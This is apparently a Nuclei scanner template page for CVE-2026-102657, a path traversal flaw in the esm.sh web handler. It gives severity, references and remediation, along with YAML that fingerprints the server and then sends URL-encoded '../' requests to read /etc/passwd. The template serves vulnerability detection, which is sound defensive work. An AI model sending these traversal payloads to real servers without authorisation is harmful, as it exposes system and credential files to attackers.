CVE-2026-102657: esm.sh web handler < v137_7 - Path Traversal
- Template: CVE-2026-102657
- Name: esm.sh web handler < v137_7 - Path Traversal
- Description: esm.sh server < 137_7 contains a path traversal caused by improper validation of URL-decoded r.URL.Path in web.NewHandler, letting unauthenticated remote attackers read files outside Config.AppDir, exploit requires Dev mode disabled.
- Impact: Unauthenticated attackers can read arbitrary files accessible by the server, leading to sensitive information disclosure.
- Remediation: Update to server version 137_7 or later.
- Severity: high
- Authors: maulanawirawan
- Tags: cve, cve2026, esm, lfi, traversal
- References: https://github.com/esm-dev/esm.sh/security/advisories/GHSA-g3c2-rjq2-c763, https://github.com/esm-dev/esm.sh/pull/1376, https://github.com/esm-dev/esm.sh/commit/468b6b2a4b4dfec334cf6b33b01fcd4e5cd93bed, https://nvd.nist.gov/vuln/detail/CVE-2026-102657
- Cves: CVE-2026-102657
- Verified: yes
- Max requests: 4
- Directory: http/cves
- Path: http/cves/2026/CVE-2026-102657.yaml
- Digest: 4b0a0048304602210083fcaa939786ad8b4d4adb03581147a8b1c5c187130032c35499bd8b834bf8a2022100e6f7466a6271aedcebd594a6bc0dae2a9f03bd207837f6f704bb77dcf05ffa2f
- Created at: 2026-11-17T07:41:46Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 7
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-102657.yaml
Classification
- Cwe: CWE-22
- Cvss score: 7.5
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Epss score: 0.03957
- Epss percentile: 0.90697
- Not known: cpe
Metadata
- Max-request: 4
- Product: esm.sh
- Vendor: esm-dev
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| esm-dev:esm.sh | no | — |
Labels
- Name: esm.sh - Path Traversal
- Impact: Unauthenticated remote attackers can read arbitrary files outside the application directory that are readable by the server process, leading to sensitive information disclosure.
- Remediation: Upgrade to server version 137_7 or later.
- Vulnerability type: path_traversal
- Vulnerability impact: file_system_read, information_disclosure
- Requirement type: none
- Labels source: securitycontext
- From cve: CVE-2026-102657
- Not known: requirements
```yaml
id: CVE-2026-102657
info:
name: esm.sh web handler < v137_7 - Path Traversal
author: maulanawirawan
severity: high
description: |
esm.sh server < 137_7 contains a path traversal caused by improper validation of URL-decoded r.URL.Path in web.NewHandler, letting unauthenticated remote attackers read files outside Config.AppDir, exploit requires Dev mode disabled.
impact: |
Unauthenticated attackers can read arbitrary files accessible by the server, leading to sensitive information disclosure.
remediation: |
Update to server version 137_7 or later.
reference:
- https://github.com/esm-dev/esm.sh/security/advisories/GHSA-g3c2-rjq2-c763
- https://github.com/esm-dev/esm.sh/pull/1376
- https://github.com/esm-dev/esm.sh/commit/468b6b2a4b4dfec334cf6b33b01fcd4e5cd93bed
- https://nvd.nist.gov/vuln/detail/CVE-2026-102657
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-102657
epss-score: 0.03957
epss-percentile: 0.90697
cwe-id: CWE-22
metadata:
verified: true
max-request: 4
vendor: esm-dev
product: esm.sh
tags: cve,cve2026,esm,lfi,traversal
flow: http(1) && http(2)
http:
- raw:
- |
GET /@hmr HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "javascript")'
- 'contains_all(body, "createHotContext", "watchers", "registry")'
condition: and
internal: true
- raw:
- |
GET /%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd HTTP/1.1
Host: {{Hostname}}
- |
GET /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd HTTP/1.1
Host: {{Hostname}}
stop-at-first-match: true
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0:"
- type: status
status:
- 200
digest: 4b0a0048304602210083fcaa939786ad8b4d4adb03581147a8b1c5c187130032c35499bd8b834bf8a2022100e6f7466a6271aedcebd594a6bc0dae2a9f03bd207837f6f704bb77dcf05ffa2f:922c64590222798bb761d5b6d8e72950
```